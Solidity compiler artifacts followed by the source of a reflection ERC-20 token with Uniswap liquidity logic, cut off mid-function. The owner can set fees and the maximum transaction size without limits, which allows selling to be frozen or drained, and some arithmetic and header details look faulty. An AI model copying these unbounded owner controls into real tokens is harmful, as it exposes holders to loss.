"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.22+commit.4fc1097e"
},
"language": "Solidity",
"output": {
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "from",
"type": "address"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Coins/TokenSimple.sol": "IERC20"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Coins/TokenSimple.sol": {
"keccak256": "0x405003fab443c9a7de48c08b57a549f6541ef1de65424e8d8e10dc3ae4873c33",
"license": "MIT",
"urls": [
"bzz-raw://4df667497df0056dc9df88bf578a72316913c4f67a785eec82917871fb10ed2f",
"dweb:/ipfs/Qmd4AwjTapLKNnTaX4xHLtJufzQNPQ9dxz6nuEPJ5aUrKW"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"owner()": "8da5cb5b",
"renounceOwnership()": "715018a6",
"transferOwnership(address)": "f2fde38b"
}
},
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.22+commit.4fc1097e"
},
"language": "Solidity",
"output": {
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Coins/TokenSimple.sol": "Ownable"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Coins/TokenSimple.sol": {
"keccak256": "0x405003fab443c9a7de48c08b57a549f6541ef1de65424e8d8e10dc3ae4873c33",
"license": "MIT",
"urls": [
"bzz-raw://4df667497df0056dc9df88bf578a72316913c4f67a785eec82917871fb10ed2f",
"dweb:/ipfs/Qmd4AwjTapLKNnTaX4xHLtJufzQNPQ9dxz6nuEPJ5aUrKW"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "6055604b600b8282823980515f1a607314603f577f4e487b71000000000000000000000000000000000000000000000000000000005f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea264697066735822122097e78957df5e388f6dc80ee69d0bef209af1fc015b3c2b1ba82b975de93970d264736f6c63430008160033",
"opcodes": "PUSH1 0x55 PUSH1 0x4B PUSH1 0xB DUP3 DUP3 DUP3 CODECOPY DUP1 MLOAD PUSH0 BYTE PUSH1 0x73 EQ PUSH1 0x3F JUMPI PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH0 MSTORE PUSH0 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST ADDRESS PUSH0 MSTORE PUSH1 0x73 DUP2 MSTORE8 DUP3 DUP2 RETURN INVALID PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 SWAP8 0xE7 DUP10 JUMPI 0xDF 0x5E CODESIZE DUP16 PUSH14 0xC80EE69D0BEF209AF1FC015B3C2B SHL 0xA8 0x2B SWAP8 0x5D 0xE9 CODECOPY PUSH17 0xD264736F6C634300081600330000000000 ",
"sourceMap": "4171:2229:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "730000000000000000000000000000000000000000301460806040525f80fdfea264697066735822122097e78957df5e388f6dc80ee69d0bef209af1fc015b3c2b1ba82b975de93970d264736f6c63430008160033",
"opcodes": "PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 SWAP8 0xE7 DUP10 JUMPI 0xDF 0x5E CODESIZE DUP16 PUSH14 0xC80EE69D0BEF209AF1FC015B3C2B SHL 0xA8 0x2B SWAP8 0x5D 0xE9 CODECOPY PUSH17 0xD264736F6C634300081600330000000000 ",
"sourceMap": "4171:2229:0:-:0;;;;;;;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "17000",
"executionCost": "92",
"totalCost": "17092"
},
"internal": {
"add(uint256,uint256)": "infinite",
"div(uint256,uint256)": "infinite",
"div(uint256,uint256,string memory)": "infinite",
"mod(uint256,uint256)": "infinite",
"mod(uint256,uint256,string memory)": "infinite",
"mul(uint256,uint256)": "infinite",
"sub(uint256,uint256)": "infinite",
"sub(uint256,uint256,string memory)": "infinite",
"tryAdd(uint256,uint256)": "infinite",
"tryDiv(uint256,uint256)": "infinite",
"tryMod(uint256,uint256)": "infinite",
"tryMul(uint256,uint256)": "infinite",
"trySub(uint256,uint256)": "infinite"
}
},
"methodIdentifiers": {}
},
"abi": []
}
{
"compiler": {
"version": "0.8.22+commit.4fc1097e"
},
"language": "Solidity",
"output": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Coins/TokenSimple.sol": "SafeMath"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Coins/TokenSimple.sol": {
"keccak256": "0x405003fab443c9a7de48c08b57a549f6541ef1de65424e8d8e10dc3ae4873c33",
"license": "MIT",
"urls": [
"bzz-raw://4df667497df0056dc9df88bf578a72316913c4f67a785eec82917871fb10ed2f",
"dweb:/ipfs/Qmd4AwjTapLKNnTaX4xHLtJufzQNPQ9dxz6nuEPJ5aUrKW"
]
}
},
"version": 1
}
// SPDX-License-Identifier: MIN
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract CoinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
address public _devWalletAddress; // TODO - team wallet here
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 public _taxFee;
uint256 private _previousTaxFee;
uint256 public _devFee;
uint256 private _previousDevFee;
uint256 public _liquidityFee;
uint256 private _previousLiquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount;
uint256 public numTokensSellToAddToLiquidity;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor(
string memory _NAME,
string memory _SYMBOL,
uint256 _DECIMALS,
uint256 _supply,
uint256 _txFee,
uint256 _lpFee,
uint256 _DexFee,
address routerAddress,
address feeaddress,
address tokenOwner,
address service
) payable {
_name = _NAME;
_symbol = _SYMBOL;
_decimals = _DECIMALS;
_tTotal = _supply * 10**_decimals;
_rTotal = (MAX - (MAX % _tTotal));
_taxFee = _txFee;
_liquidityFee = _lpFee;
_previousTaxFee = _txFee;
_devFee = _DexFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _lpFee;
_maxTxAmount = ((_tTotal * 5) / 1000) * 10**_decimals;
numTokensSellToAddToLiquidity = ((_tTotal * 5) / 10000) * 10**_decimals;
_devWalletAddress = feeaddress;
_rOwned[tokenOwner] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddress);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[tokenOwner] = true;
_isExcludedFromFee[address(this)] = true;
_transferOwnership(tokenOwner);
payable(service).transfer(msg.value);
emit Transfer(address(0), tokenOwner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"Excluded addresses cannot call this function"
);
(uint256 rAmount, , , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setDevFeePercent(uint256 devFee) external onlyOwner {
_devFee = devFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner {
_maxTxAmount = maxTxPercent * 10**_decimals;
}
function setDevWalletAddress(address _addr) public onlyOwner {
_devWalletAddress = _addr;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
tDev,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity,
tDev
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDev);
return (tTransferAmount, tFee, tLiquidity, tDev);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rDev = tDev.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rDev);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeDev(uint256 tDev) private {
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
_rOwned[_devWalletAddress] = _rOwned[_devWalletAddress].add(rDev);
if (_isExcluded[_devWalletAddress])
_tOwned[_devWalletAddress] = _tOwned[_devWalletAddress].add(tDev);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_devFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
_previousTaxFee = _taxFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_devFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousDevFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner())
require(
amount <= _maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >=
numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
